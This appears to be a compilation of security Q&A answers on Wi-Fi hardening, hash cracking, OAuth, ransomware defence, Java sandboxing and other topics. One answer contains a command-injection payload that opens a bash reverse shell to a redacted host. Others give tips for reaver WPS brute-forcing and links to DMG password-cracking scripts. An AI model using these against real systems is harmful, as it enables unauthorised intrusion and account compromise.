Is a server which FTP credentials were kept in a machine with Firefox being used compromised after the latest firefox vulnerability?

First, I edited your question following your comment to @FiascoLabs answer regarding the fact you are talking about SFTP instead of FTP.

Coming back to your question properly:

  can a server which SFTP credentials were kept in a windows machine
  using Firefox be considered already compromised?

I prefer to discuss this question from different sides.

For the already problem, the answer is Yes and No. I mean it depends if you visited a website (server) that hosted the malicious script then you may have been a victim already. But this scenario has unlikely happened to you because the malicious script has been hosted on two main domains 93.115.38.136 and 185.86.77.48 which have been inactive since August 8th, 2015 after the intervention of the Ukrainian government.

The second side that you seem to be interested in through your question is related to SFTP: if you look to the list of files of which the malware is interested you can see:

But as the linked stated, this occurs during the first stage of the attack only, we do not know how much deep the file scanning is done by this script. Also, I may mention that exploit does not care if you are running your protocols over TLS/SSL or not.

  If so, what can be done to remedy that?

Is it so or not, you seriously need to upgrade your Firefox version to Firefox 39.0.3 in which the bug is fixed so that, even if you have not been trapped by the moment, you avoid being targeted by this malicious script (that could be modified to extend for instance the list of files to probe) in the case it would have been hosted elsewhere and you visit the site by accident or in purpose.


Provide json post data in form based authentification

Unfortunately at this time there is an outstanding feature request for handling authentication via a JSON Object: https://github.com/zaproxy/zaproxy/issues/2439

One alternative is to record a scripted authentication.

Update:

The previously discussed functionality is now available: https://github.com/zaproxy/zaproxy/pull/4624

If you want to use it, you'll either have to use a weekly: https://github.com/zaproxy/zaproxy/wiki/Downloads#zap-weekly

Or, wait for the next full release (likely 2.8.0).

The corresponding PR to update the help content for the new JSON Authentication functionality is here: https://github.com/zaproxy/zap-core-help/pull/188/files if you want to check it out.

You set it up the same way you would for form based authentication. Make sure you define a Logged-in or Logged-out Identifier (or both). Here's some screenshots to help you along:

Manually configure the Authentication for your Context:

Use the Site Tree Context menu(s) to set it up:

Here's an additional help link that might assist you in getting authentication setup: https://github.com/zaproxy/zaproxy/wiki/FAQformauth


Is it possible to crack any SHA1 hashed password

No, it is not possible to crack just any SHA-1 hash. Currently, there are two main issues with using the hash function for security purposes (not specifically password hashing):

It is a very fast hash, meaning a brute force attack will run much more quickly than it would if you were to correctly use a slow KDF. The fact that SHA-1 is fast does not allow you to crack any password, but it does mean you can attempt more guesses per second.
It is vulnerable to collision attacks, as Google showed. A collision attack allows someone to create two inputs with the same hash. However, it does not allow them to reverse a hash or to modify an input without affecting the resulting hash. That would be a different kind of attack called a preimage attack, and SHA-1 is not vulnerable to that attack.

So no, you are not able to crack just any password that has been hashed with SHA-1 unless the password is short or weak. That does not mean you should use it for password hashing however, since it is so fast and is efficiently implemented on a GPU.


What is the best home wireless network encryption algorithm to use?

From a security perspective, I think you are asking the wrong question. WPA2 is the basic answer. But it's entirely incomplete! A more complete answer will view WPA2 as one component of your wireless network defence. Of course there's strong encryption methods using certificates/vpn etc but these are too difficult for most people to set up and are usually reserved for businesses. So let's assume WPA-2 is the 'best' answer to the basic question. However... as you'll see, there's many weaker points that attackers go for, that ultimately reveal your WPA2 password, so I've included them in the points below.

  I'm assuming many people will land on this page and see answers saying
  'yeah just use a good password and WPA2 encryption', which is bad
  advice. Your WPA2 network is still completely vulnerable, as you
  will see:

the main thing you can do, is be the hardest person to hack around you. That's the biggest deterrent. If I'm going to hack you, but you're taking too long or are too expensive to crack, I'll try the next person. This will require some playing around in your router settings.
I'll assume you would never use WEP. 10 minutes on youtube and your mom can crack it.
Switch off WPS. this is EXTREMELY vulnerable to brute force attacks and can be hacked in seconds, even if you are using WPA2 with a ridiculously complex password. Tools like reaver and revdk3 or bully make light work of these. You're only a little bit more protected if your router supports rate-limiting, which slows down, but doesn't prevent brute force attacks against your routers pin. Better to be safe and just switch WPS off and be 100% safe against these attacks.
turn off remote access, DMZ, UPNP, unecessary port forwarding
turn on, any inbuilt intrusion detection systems, MAC address filtering (tedious to set up if visitors to your house want access to your wifi (you will have to add your friends device to the router's MAC white-list to enable access) This can be hacked by faking a MAC address easily, and getting your MAC is also easy with an airodump-ng scan, but nevertheless, this will slow down attackers, requires them to be near a client device (mobile phone, or laptop in the whitelist) It will be pretty effective against some remote attacks.
have a very long, non-human, complex password. If you have ever tried to decrypt a password you'll know that it gets exponentially harder to crack a password the more complex, less predictable and longer it is. If your password even remotely resembles a word, or something that could probably be a set of words (see: markov chains) you are done. Also don't bother adding numbers to the end of passwords, then a symbol... these are easily hacked with a dictionary attack with rules that modify the dictionary to flesh it out to cover more passwords. This will take each word or words in the dictionary, and add popular syntax and structures, such as passwords that look like this 'capital letter, lowercase letters, some numbers then a symbol. Cat111$, Cat222# or whatever the cracker wants. These dictionaries are huge, some can be investigated on crackstation or just have a look at Moxie Marlinspikes' cloudcrackr.com. The goal here is to be 'computationally expensive'. If you cost too much to crack using ultra high speed cloud based cracking computers then you're safe against almost anyone. So ideally you want to use the maximum 64 characters for your password, and have it look like the most messed up annoying symbol infused piece of incoherent upper-lower-case dribble you've ever seen. You'll probably be safe after 14 characters though, there's quite a bit of entropy here, but it's far easier to add characters than it is to decrypt.
change your routers default password and SSID. nobody does this, but everyone should. It's literally the dumbest thing. Also, don't get lazy. and don't keep the router's model number in the SSID, that's just asking for trouble.
update your router's firmware. Also, if your router is old. throw it out and buy a newer one, because it's likely your router is on some website like routerpwn.com/ and you've already lost the battle. Old routers are full of bugs, can be easily denial-of-serviced, don't usually have firewalls or intrusion detection systems and don't usually have brute-force WPS rate limiting among other things. just get a new one.
learn about evil-twin hacks. The easiest way to protect against this is to stop your device from auto-connecting. However, this might still snag you. Become familiar with software like wiphishing and airbase-ng, these apps clone your router, then Denial of service your router making your device connect to the attackers cloned router, allowing them to intercept your traffic. They'll usually try to phish the WPA2 password from you here. You're safer from these attacks if you actually know what your router's web console looks like, because the default phishing pages that come with these types of apps are usually pretty old looking, however a sophisticated attacker can create a good landing page. Put simply, if your 'router' ever wants you to type in a password don't type it! You'll only ever be asked when you are creating the password, when you specifically log in to the 192.168.0.1 or 10.1.1.1 user interface, then you are being phished and it's game over. To prevent this attack you could also artificially reduce the range of your router. pull out the antenna's and create a little faraday cage around it, leaving a small area that points to your most ideal wifi position. Alternatively, just use a cable to your laptop or computer until the attacker gives up.
handshake attacks are pretty popular, this is where the attacker sends a deauthorisation packet to anyone connected to your router using your password, then when that device (say an iPhone) tries to reconnect, it captures the '4 way handshake' which let's the device and router authenticate using your WPA2 password. This is what hackers use to crack offline using the password attacks in point 6. However if you have used a strong password (as described in point 6) then you've mitigated this attack already.
So i've focussed on router based defence, but there's actually even easier ways to be attacked. If the attacker knows who you are, you're screwed. With a tiny bit of social engineering, they can find your facebook your email or some other way to contact you and insert some malicious snippet of code that's invisible and hijack your entire computer, which therefore lets them simply check the wifi settings in your computer and obtain the ultra strong password you've spent so long making. One popular method is to send you an email that's junk, and keep sending it until you click unsubscribe, as you usually would for junk mail, except this link is exactly the worst thing to do. You've broken the cardinal law of email. Don't click links in emails. If you have to click one, at least check where it goes first.
If someone has access to any of your devices, or plugs/gets your to plug a device into your laptop, you're gone. things like usb sticks 'usb rubber ducky' can compromise your computer and reveal your WPA2 password to a relatively novice hacker.
if you use a wireless keyboard, and you live near an attacking neighbour, they can use things like keysweeper to compromise your wifi, and a lot more. This could be creatively used with an evil twin attack to increase the likelihood you type your password (it listens to wireless keyboard signals). The way to prevent this attack is to not use a wireless microsoft keyboard.

There's plenty of other ways, and you'll never prevent them all,

but usually if your router is locked down, has a nice password, has WPS off, WPA2 on, a strong (new) router with a password, no remote-web access, unnecessary ports are closed, MAC filtering is used and intrusion detection in the router is switched on you will usually prevent even pretty dedicated attackers. They'll have to try harder methods and will probably just give up.


Reusing an “anonymous” user entity across orders

What you are proposing is basically having an account without any authentication. As long as you enter in a persons email, you are using their account.

If just entering an email address allows you to do anything of value (like viewing order history or personal info, placing new orders on the same credit card, change anything about past orders, etc.) you have a huge security problem. Anyone who knows the email of another person can impersonate that person. That is bad. Very bad.

If it does not allow you to do anything of value, the phrase "reusing the same account" becomes utterly meaningless since there isn't really any account to speak of. The only thing that happends is that two orders will have the same email in your database.

Now, if someone were to later create an account with that email (and verifying it in the process) you can not just assume that those orders were placed by the person who created the account. While you can have in your terms of use that the account is personal, an email isn't nececarily that. So you might be in legal trouble if you e.g. want to get the person who created the account to pay for the orders placed before the account was created.

Think about this scenario: Person A order something (potentially embarassing) using the email of person B. Person B later activates an account on that email. The item A ordered is now in the order history of B.


Would usage of jCryption 3.0 + SSL have mitigated the Heartbleed vulnerability?

The server has to decrypt the information. Once it is decrypted, it is in the server's process memory in plaintext. Then it would be leaked by heartbleed.

Furthermore, the server must have the decryption key. So it would likely be stored in the process memory and would be recoverable via heartbleed attacks.


Discovering IP or Mac address of mobile devices passing by.

Yes, the MAC address can easily be discovered, but your device won't have an IP address unless it's connected to some network!

Let's assume that you are not connected to any network.

The attacker can discover your MAC address by sniffing on monitor mode, because your phone is probing for pre-associated networks, and the attacker can easily find the MAC address through that process.

And for the IP address, if the attaker is on the same Wi-Fi, then Yes, but if you're on a different network, I don't think he will be able to get much from that IP address.


How to demo a new 0-day security product?

I think that's a marketing problem, not a technical one. 0-day means that no one in authority knows about it. So unless you discover your own 0-day and don't tell anyone ...

The demonstration is how it detects a problem, not the validity of the particular 0-day itself. You could keep a record of tests done against recently released 0-days that have not yet been addressed by vendors or signature-based AV solutions to show how your solution responds.

If you are looking for a canned, repeatable demonstration, you will have to reuse a known attack against a target that does not have protection against it and differentiate yourself in describing how your detection engine works.


In short - yes but it does not actually matter.

PHPMyAdmin has the target variable so it can redirect you to a specific page in the console after login.

So for example:
You are a logged in user and you left a tab open at xxx.php and after X amount of time the system logged you out and now when you log back in you want to get to the same page you were on (xxx.php) so the url will look something like index.php?target=xxx.php.

Where are the threats?

XSS - If you are able to escape the value of target in the value="XSS_HERE"
Redirecting a user to a dangerous location/website (export.php, import.php, site_with_virus.com)

How does PHPMyAdmin protect from these this?

XSS - They filter out anything that is not on their white list as well as sanitizing the parameter.
Dangerous redirects - There is a blacklist array as well as a whitelist array with all the locations that can be redirected and all the locations that cannot be redirected.

In Conclusion:

Yes you can inject code into the value but it is useless as it is sanitized and verified on login.

My answer is taken mostly from looking over PHPMyAdmin code on Github.


Why do some Java APIs bypass standard SecurityManager checks?

(This is only a general comment on the "why", not on the specific attack you are alluding to.)
Unfortunately, the Java designers found that it was highly possible to paint yourself into a corner, structurally speaking. For instance, there are classes in java.io and in java.net, which are both involved in doing I/O. Let's assume that a given JVM has special OS-interaction native code in java.io.FileDescriptor, which allows it to do send() and receive() system calls (that's not the case of the Sun/Oracle JVM, but it could happen in another JVM, and indeed it does in at least the one I once wrote). To enforce the sandbox semantics, these methods are not public, of course.
The implementation of java.net.Socket would like, quite naturally, to use these methods. But, as per the naming conventions, Socket is a class which is located in the java.net package, not java.io. How can it access the non-public methods of java.io.FileDescriptor, considering that it must do so even if invoked from non-trusted code (non-trusted code can open sockets, albeit not to every destination) ? There are mainly two ways:

Add some "bridge" native methods in java.net.Socket, which forward the calls to the methods in java.io.FileDescriptor. Native code sneers at packages and visibility; native code can do everything.

Allow the code from java.net to do some reflection to access non-public methods in other packages. Code which can do that can do about everything, because it could modify the data structures used by SecurityManager itself (hey, I remember that you pointed that to me yourself, maybe ten years ago, in a Usenet discussion where we were both using our real names). So, unbounded reflection must not be granted to everybody, but, in the situation I describe here, it must be granted to code in a specific system package (java.net) even though that code is called from an untrusted applet.

The second method requires the weakening of the security model. Actually, it is quite generic: if the untrusted applet must do anything useful at some point, it must be able to access the system (if only to display the result of computations or send it back to the server), which needs a kind of gate. Native code is such a gate. The security weakening model is another kind of gate, which has the added benefit of staying in the "pure Java" world (I can understand that in the JVM maintenance team, native code is probably frowned upon because it makes things more expensive). The bad side is that by weakening the security model, the attack surface is greatly enlarged: now, all the Java code in the packages-with-privileges has become critical. To reuse @Hendrik's analogy, it is about giving a root setuid bit to a substantial chunk of code (from the java.* packages).
In particular, the way that Java weakened the security model is to designate some special APIs -- like Class.findClass(), Class.newInstance(), Class.getMethod(), and other reflection-related APIs -- as using weaker permission checks.  In the example above, this allows trusted system code in java.net.Socket to use these special APIs to get a reference to a non-public method in java.io.FileDescriptor and invoke it reflectively.

For instance, the java.net.Socket code can use Class.getMethod() to get a reference to the non-public method in java.io.FileDescriptor (this is allowed since the immediate caller of Class.getMethod() is java.net.Socket(), which is trusted code) and then invoke it.
Notice that this implementation strategy relies upon Class.getMethod() to use the weaker permission checks.  It just wouldn't work, if Class.getMethod() used the standard permission checks.  If untrusted code invokes java.net.Socket, and then the java.net.Socket code calls Class.getMethod(), the standard permission checks would reject this call because there is untrusted code somewhere on the call stack, and the java.net.Socket stuff wouldn't work right (in non-attack scenarios).  In contrast, the weaker permission checks used in the weakened security model do allow it.

So, the weaker permission checks help the Java designers get themselves out of the corner they painted themselves into.
Supposedly, with a "perfect" structure of the system code and naming conventions, a handful of native methods would be sufficient, but the presence of specific is-immediate-caller-from-a-trusted-package calls in the JVM system library code shows that the structure of said code is not perfect.


Is the action of accepting a pull request on Github vulnerable to race conditions?

No, Github is not vulnerable.

I have tested this with a very helpful friend of mine to make things go quicker. When this was attempted, github updated the list of commits live, and if I clicked the "Accept" button before the list was updated, github throws up this message:


How to spare file server data from being held hostage by client ransomware?

Generally, make sure you enforce the least privilege principle as much as you can. Evaluate the damage that would be done to the business if a ransomware encrypts all the files and balance it against the overhead which would be introduced by applying more restrictions.

You could also deploy a monitoring system which monitors the write access of every user. If some user writes to an unusual amount of files in a defined time, you could trigger an action like killing the connection to the share and throwing an notification to you.

Another measure is introducing a staging area. In this area everything is writable. At a defined point (after an amount of time of after a project or task is finished) files in this area are moved to a read-only part and can only be modified by request.


Does HTTPS allow replay attack on authentication request?

If someone just records encrypted HTTPS session and if the connection served over the secure TLS protocol version with the strong cipher suite, then the answer is no. Neither they will be able to decrypt your credentials nor replay traffic to create bogus session. TLS protocol provides message authentication and has its own replay attack protection.


How would google know someone has the password for my web host email?

Since Google has the password for the POP3 account it can check the common password dumps if the password is known publicly. They don't claim that somebody is actively using the password with your POP3 account, only that somebody knows it. And they urge you to change the password to protect your account.


create GMS base station with mobile devices

Depending on which country and jurisdiction you are in you will likely be violating wireless spectrum laws. By default, if you are playing with this via live antennas open to the world your answer to number 1 is it will undoubtedly interfere with commercial spectrum usage whether or not your network connects to other networks.

Answer 2: YES. Look into Faraday cage boxes or if your equipment is small enough even a Faraday Cage Bag will work. There are many commercial solutions to this and you can find ones being sold at lower costs used in many places.

Finally, do learn about how this is regulated in your jurisdiction before your begin. Some countries have very strict punishments for radio interference of critical infrastructure systems like telephony.


First make sure that reaver is up to date (using apt-get update && apt-get upgrade will do this for you).

Second, remember this is an exploit tool. I have had mixed results. Certain linksys routers will crap out under the load and simply lock up. Some other models have given me the same behavior yours is showing (repeated pin, or repeated series of pins even when WPS is enabled).

This tool will not work on every router. Try it on a few different targets. If you get the same issue against multiple models it could be your wifi card or driver as well.

From my experience reaver works on maybe 60-70% of WPS enabled routers I come across. The other 30-40% either get DoS'd or simply fail.


TOR's TCP Connections

The PCTCP paper is claiming that TOR uses a single TCP connection with multiplexed data from several users.  The single output buffer then requires a scheduler to encrypt/decrypt each user's data, and ensure that all of the processing of each data stream is correct.  This can lead to dropped data in a packet, which causes the re-transmission of that packet, and causes overall latency in TOR.

PCTCP is changing how the connections are performed.  They're proposing that rather than multiplexing users together in a single TCP session, each user would get their own dedicated TCP connection between Onion Routers (ORs).  TOR has its own protocol for establishing keys between ORs.  This operation can still be performed as usual, but now with a dedicated TCP connection.  The goal here is to attempt to reduce data corruption and the subsequent re-transmission of packets.

TOR Protocol Communications

TOR uses TLS between ORs to protect its TOR protocol communication.  Once the messages are completed, and the keys have been established encrypted data passes through the multiplexed TCP connection.

PCTCP doesn't change how the keys are exchanged it just spawns a new TCP session for each new user.  It could use TLS sessions for these TCP connections if they wanted. The flaw in their design is that an adversary can witness the number of TCP connections, and traffic analysis on a PCTCP node could be performed.  To counter this PCTCP wraps all communication between ORs in an IPSec tunnel.  Essentially moving the multiplexing of data at the Transport level to the IP level.  Since IPSec is performed at the IP layer the source and destination don't care what the TCP data is.  The packets will be decrypted/encrypted, and the individual TCP connections will be processed normally by the TOR daemon. The PCTCP paper states that this makes the use TLS between ORs redundant.  Which it does.  You would now be tunneling within a tunnel.

Keep in mind that this is only between the ORs.  The data between the OP and the entry node will continue to use a TLS connection to secure its communications.  You can still gain significant performance since most of the dropped data and re-transmissions are due to the inefficiency of the ORs.

This is how they can claim that changes only need to happen on the ORs.  The OP uses its same communication method with the entry node.  The ORs need to enable IPSec, and use PCTCP to establish dedicated TCP connections on a per user basis.  IPSec is enabled by default in all Linux distributions now.  As long as the OR is configured correctly this tunnel can be established.

They don't really state how they handle a connection if the IPSec tunnel is rejected.  I'd guess that their PCTCP client would just default back to a TLS connection.  They also elude to the fact that even a single node upgraded to PCTCP in a circuit will improve performance.  But it seems to me that for IPSec to work you would need at least two adjacent ORs configured with PCTCP.  In their experiments they always have at least two.

I think I addressed each of your questions.


Signed request vs HTTP digest auth for API authentication?

If the signature covers the whole request, then integrity is guaranteed. Request replay is still a potential threat (think: resource abuse).

With HTTP digest authentication, the request could be modified in transit. You are at the mercy of a MITM (Man In The Middle) attack.

Anyway, you should really use TLS provides transport level security:

guaranty of confidentially of payload, not just of password or authenticator (but not payload size! be careful if payload size can reveal useful information)
guaranty of integrity of payload (but no guaranty WRT client IP address!)


Recover corrupted password protected Zip

If the ZIP file only holds that one TXT file, then I'm afraid chances of recovery are low.

Try visually inspecting the file's hex dump. A "true", undamaged ZIP file should contain high-entropy, random values (all the more so if it's encrypted too). If there are large swaths of repeated filler characters (0x00, 0xC0, 0xA9, 0xFF...), then that section of file is almost certainly corrupt.

On some systems (e.g. Linux console with no buffering) you can try and extract the file with unzip -c. This will result in the file beginning decryption and output, and failing as soon as it hits the corrupted block. The data up to that point will be extracted normally.

Special cases

A whole block of size 512, 1024, 2048 or 4096 bytes in the ZIP is empty (filled with zeroes, FFs, or the like). This is almost certainly due to the hardware support the ZIP file was on, going corrupt. The sector has been replaced by nulls. If you still have the original support you may try recovering that. If it was a hard disk, it was a bad hard remap of a damaged sector, and the data is lost (unless you can interface at a very low level with the disk itself, which is brand- and disk- dependent). Chances of recovery are essentially nil.
The ZIP file appears intact. No obvious blanks inside. There is a possibility: the file was transferred with CRLF conversion, and ALL its LF's have become CRLF's pairs. This happens once every 256 bytes on average and you can verify it by counting how many naked CR's, how many naked LF's, and how many CRLF pairs are in the file. If this is the case, you will have to locate all those pairs and remove the extra CR, and each time verify whether the decoding progresses or not. Usually, by re-zipping the partially recovered file (after truncating any ending garbage) with the same algorithm, you can come up with an intact ZIP file that you can compare with the damaged one to determine the position, in the ZIP stream, of the error (i.e.: if the zipped fragment is 7291 bytes long, then in the damaged zip file, at around offset 7291 relative, there is an error). I had this happen to me once, and was able to recover the file; I remember it took a whole night, though.


Reset password - should I prevent abusing it?

Yes, it is very likely that the same "excessive attempts" detection that is applied to login attempts is also applied to "password reset requests".

Many systems also involve a captcha step, that makes spamming the reset attempts more difficult. The example below is the outlook.com password reset page:

I think this is a fairly inefficient attack - thanks to rate-limiting, it can't reliably target an individual, and even if it could, the emails could be trivially blocked with an email client rule.


Do high-level programming languages have more vulnerabilities or security risks than low-level languages?

Major Caveat upfront:

It is possible to be insecure in any language, any time, and only developer attentiveness/awareness can fix this. SQL injection is still a thing. Higher-level languages generally have eval, and if you're dumb enough to eval user input you get what you get.

That being said, its the other way around. Having garbage collection avoids entire classes of security risks related to memory management like buffer overflows. Higher level languages tend to be more concise, less code means fewer places for bugs to hide. Anything that's tedious (and coding in lower-level languages certainly is that) is error-prone.

Because lower-level languages lack the same expressiveness, one has to write a great deal of boilerplate code not just at the beginning but all throughout the codebase. That means, because its not always easy to tell from a glance what the code is supposed to be doing (in business-logic terms), that it will be less self-documenting and will require more documentation in the form of comments or external documents. That introduces another source of error: if the documentation is not updated when the code it references changes you can write other code that is insecure due to the obsolete assumptions in the documentation of the related code.

Lower-level languages lack strong typing, so there are fewer errors a compiler can catch. There have been a few interesting attempts like Nim and Rust to address this, but neither is super-popular yet.

Last, but certainly not least, the real difference between high-level and low-level languages is that high-level languages shift the burden from the programmer to the interpreter/compiler. Those interpreters/compilers are written and maintained by some of the most brilliant lights in the industry, are routinely audited for vulnerabilities, etc. Application code on the other hand, is written by mortals. So shifting the burden from lots of application code written by average programmers to comparatively less code written by exceptional programmers should improve security because there's less code to audit written by more able people. So which would you rather trust, the JVM or Joe Blow's by-hand buffer management in C?

All of this rather begs the question about why people still use low-level languages if they are harder to use and less safe. There are a number of reasons:

1) The golden hammer. 'We have a bunch of C programmers, and oddly enough all of our code is written in C'.

2) Performance. This is usually a red-herring, its almost never worth the tradeoff of safety and speed of development, but in cases like games where you need to eke every bit of perf out of the hardware it can make sense.

3) Obscure platform. Along the lines above, its a whole lot easier to write a C compiler than a Rust compiler or a JVM. If you have to implement the compiler first, starting with C looks a lot more appealing.


Using VPN to connect home to work computer gets me work background image

A VPN takes the computer you are connecting from and puts it in the target network.  So yes, when your VPN is active the IT people from work do have network access to your home desktop.

By being on the target network should not allow them to change any of the settings of your computer (unless you do not have a password).  However, if you are running a program from your employer to connect to this VPN that application has the same access to your computer as you do.

Yes, it is likely your company's automated network policies are either directly or indirectly effecting your personal computer ... and chances are you signed a piece of paper saying that they have that right when you got VPN access.


Documentation for risk assessment in ISO 27001 structure

To fulfil this aspect of chapter 6 in the norm you need to document that you have an objective way to assess risk and which method you choose to do so. The results from the risk assessment should be reproducible (i.e. if I do a risk assessment and you do a risk assessment of the same process, we need to end up with the same risk 'scores').

Which method you use and how you document it, an auditor will not care. As long as you achieve what I described above and you can explain why that specific method is adequate for your organization.


Change the last { to a ,

  -w=target.cap;{bash,-i}>&{/dev/tcp/ipredacted/8080,0>&1}


Any risks connecting to a Chinese printer?

There are all sorts of possibilities. Yes, your printer can have a call-back mechanism, with a 5G GSM SIM. Yes, your drivers can send a copy of everything you print to the Chinese authorities via the Internet.
Is this likely? No. I would say: the cheaper the printer, the less likely.
Anyway, if  you want to be absolutely sure that nothing like this is even possible, you will want a printer of a different category. One that is evaluated  under the Common Criteria (https://www.commoncriteriaportal.org/products/ for a list). Be sure to read the evaluation criteria too.
Most cheap printers will be compatible with some standard and may not even need propriety printer drivers.
And is your data really such that your prints may not ever be seen by anybody? Do you really carry a P-7 shredder with you too?


Custom certificate verification using thumbprint

It is perfectly fine to use a cryptographic hash ("fingerprint") of the certificate for comparison instead of the certificate itself. And this is actually often done when implementing certificate pinning.

A man in the middle would not be able to generate a certificate and matching private key where the certificate has exactly the same fingerprint as your self-signed one as long as the hash algorithm used for the fingerprint is strong enough. Given that SHA-256 is considered sufficient as signature algorithm in a certificate you can also consider it sufficient for this fingerprint.

Of course, whenever this self-signed certificate might be compromised you need to change your application, but as long as this is in your control this should not be a problem.


Is Java's probablePrime used in production?

The important part is "The probability that a BigInteger returned by this method is composite does not exceed 2e-100"
Hardware isn't perfectly reliable: https://community.hiveeyes.org/t/soft-errors-caused-by-single-event-upsets-seus/1891
Lets make some assumptions:

1 bit flip per day for a machine from cosmic rays

You could assume 1 bit flip per year per machine if you prefer - that is a factor of 2^8 in the answer.

2^38 bits (16GiB) memory in the machine
2^10 bits that flipping would invalidate the "definitely prime function"

The result itself (1 bit, but maybe 8 bits if a boolean is returned in a byte, or 32 bits if a boolean is returned in an int32_t)  - after running the test, there's likely to be a loop to try another number is the result is composite - but what if the function returns 'composite', but the cosmic ray flips that to 'prime'?

The number in memory (2^10 == 1024 == size of the prime used for 2048 bit RSA keys)

I'm assuming the definitely-prime function takes a copy of the number (into registers), so after starting, the original number in main memory could be changed by a bit flip. If this happens the result of the function will be for a different number than is in memory - and since primes are rare in the 2^1024 range, the new number will probably be composite.

The code that branches on the result - there is a branch instruction after running after the function (to decide if to try again) - but what if a branch-if-false is changed to a branch-if-true? Or a branch-never? Or changed to look at a different address or register?

86400 seconds in a day ~ 2^16 seconds/day

= 2^-38 chance for a bit to flip per day
= 2^-54 chance for a bit to flip per second (divide 2^-38 by 2^16)
= 2^-44 chance for a interesting bit to flip per second (multiply 2^-54 by number of interesting bits)
Therefore a definitely prime algorithm would need to run in 2^-54 seconds (longer than probablePrime) to be as certain as the probablePrime function.
That's much less than an instruction (2^-20 seconds?).
Otherwise the P(error(probablePrime)) < P(error(definitePrime + bit flips))
We use probablePrime because it's so much faster than definitelyPrime functions, and that makes it more reliable on real computers.
The numbers are far enough apart, that even if we say 1 bit flip in 2^25 seconds (about a year), it's still much less than 1 instruction that we can allow, before the risk of bit-flip is more than the uncertainty from probablePrime.


Does LastPass' multi-device functionality significantly compromise its security?

If you're looking to compare a cloud service like LastPass to a local application such as KeePass, then yes, there is a security tradeoff.

With an application such as KeePass, where you have full control over the storage of your password database (presuming you're not putting it up on DropBox or something), the only attack surface you have to worry about is your own system and the devices on which your password database is stored.  Generally speaking, these are not likely to be subject to targeted attacks (or, as the media likes to call them, APTs).  As long as you follow regular security best practices on your system (apply software updates, use antivirus, keep a properly configured firewall and/or router between you and the Internet, etc.), your password database is probably safe from Internet-based threats.

Note that I am not comparing local threats (involving physical access) here, because this is something that affects both options pretty much equally - you must have a local copy of your password database somewhere in order to use it, so you will be equally vulnerable to physical threats regardless of whether you use a cloud-based or local-only solution.  That is not to say these systems are especially weak against local threats - protecting the database with a strong password and encryption algorithm largely mitigates this - but that one is not likely to be much better than the other in such scenarios.

In the case of LastPass and other cloud-based password managers, the attack surfaces and associated threats are much larger.  Their systems are always on, and are very high-profile and high-value targets.  If someone ever totally pwns LastPass, there's no telling what sort of systems they might find access to.  While I'm sure they take their site security very seriously, they are likely subject to just as many attacks as any of the other user-trusted services that have been hacked recently.  As the saying goes, it's not a question of if they will be hacked - just a matter of when.  On top of that, you still have to worry about the security of your own system(s) which synchronize with LastPass.

Are LastPass or other clould-based solutions a tradeoff of security for usability, compared to locally-managed options such as KeePass?  Absolutely.  Is it worth it?  That's for you to decide.

EDIT:  To clarify on the issue of what is stored on LastPass' server...

They don't just store data for hashing/salting your master password on their server.  Though that is an important, key piece of information to be worried about, the real concern should be that they need to store everything that you want synchronized between your devices on their systems.  That is, if someone ever does hack LastPass and cracks your master password from their database, they will be able to access all passwords and other details that you have synchronizing between your devices without ever having to actually touch your own devices.

With a locally stored database, like KeePass uses, you don't have to worry so much about such attacks.  That is not to say it would be impossible for someone to break into your KeePass database over the Internet.  It's just much less likely they will be trying to, and it is a much easier threat for you to mitigate yourself.  (Besides, if an attacker across the Internet can crack open your KeePass database - and you use the same system to log into the things for which the database holds passwords - you're probably pwned enough already that it wouldn't matter anyway.)


Could Redirection URI be a Client URI in OAuth2 Autorization code flow?

We have several sides in OAuth2 authorization code grant exchange

OAuth Client - an application that want to be granted access
Authorization Server - entity managing access
Resource Owner (End User) with his user agent - person making decision to grant access (or not)

Now to initiate the flow Client captures Resource Owner's user agent and redirects it to Authorization server endpoint - passing scope of required access. The redirect is a mechanism to pass both scope of the request and actual, captured user to whom the request is addressed.

After the Resource Owner makes the decision it have to be passed back to the Client. OAuth2 uses second redirect for that and there are several benefits

The Resource Owner user agent (browser) is back on Client's site and can continue working with it
The Client can use cookies and other mechanism to confirm that the returning user is the same that one in initial redirect.
As to obtain token the Client need some secret information, the leaking of code to the user does not open it to abuse

With direct server-to-server call instead first two points would be hart to achieve - for very limited security gain.


I am trying to mitigate SSL bypassing on a jailbroken iOS. ... My application handles confidential data so securing from SSL kill switch and mobile substrate is necessary.

There is nothing to mitigate here.
SSL is only used for transport level security, that is to protect everything between the client and the server. It is not used to protect the data on the client or data on the server itself. And even with a jailbroken device the transport is still secure, i.e. no man-in-the-middle can read the data unless the owner of the device explicitly made this possible by changing your application or installing another trusted CA.

If you send data to a device which is outside of your control you must expect that the current owner of the device will be able to read and manipulate the data. Thus you should not send any data to the device which the user should not see and you should not expect any data you get back to be harmless.


Chrome reports on other browsers running

I'm pretty sure this is fairly benign.  You can use the PSAPI functions to get the same details if you have sufficient privileges.  I'm pretty sure this is the basis for the Task Manager built into Windows as well as the Process Explorer.  Note that on Linux machines, you can generally see these details as well regardless of your permission set.

Chrome is clearly performing some filtration on the process results to deliver these specific browser details.


Under what conditions should I re-sign a PGP key that has been transitioned?

I'll have a go at answering this myself. Tell me if I'm wrong.

Alice should sign Bob's new key, if:

Bob produces a statement "new_key is my new key.", signed with his old key. (See What's the purpose of a PGP transition statement? )
old key is not expired
old key has no revocation with a Reason for Revocation of "Key material has been compromised" (otherwise the compromiser could have generated the transition statement)
either:

new key has same UID as old key, OR
new key has a different email address, in which case you should perform email ownership verification (for example, by only sending the signature to the new email address)


Automatic redirection to another website

It seems you have adware installed. It usually comes with installing unlicensed commercial software products.  I'd suggest getting the trial version of a product such as kaspersky or nod32 and run a scan when in safe mode as it is more likely that the adware doesn't launch.

If the adware is still in place use the(rescue) live CDs of the above products.


I delete cookies file in chrome but i'm still logged in after I restart Chrome

Local storage?
In modern browsers Facebook also uses "Local Storage" (although I don't know if for login), which is different from plain old cookies. (Check using the F12 key.)


How best to crack password for MacOS encrypted .dmg, given I know the majority of the password content?

Concerning corruption: Do you have a copy of this encrypted .dmg in your Time Machine backup?

Concerning entering your password manually: Have you typed your password out in to a text editor to ensure you are typing the password correctly?  Once you have verified the password in the text editor just copy and paste the password into the dialog box for the encrypted .dmg. Try this method with any possible passwords.

Brute forcing the password dialog box: You could try to brute force the password using one of the many utilities for such purposes.  Here is a list of some the scripts:

https://github.com/alfanhui/dmgCracker

https://calvin.me/cracking-passwords-on-macos

http://www.georgestarcher.com/software (sadly this doesn't support your OS).

Here is a nice blog post about the complexity of cracking the password of an encrypted .dmg.
https://www.whitehatsec.com/blog/cracking-aes-256-dmgs-and-epic-self-pwnage


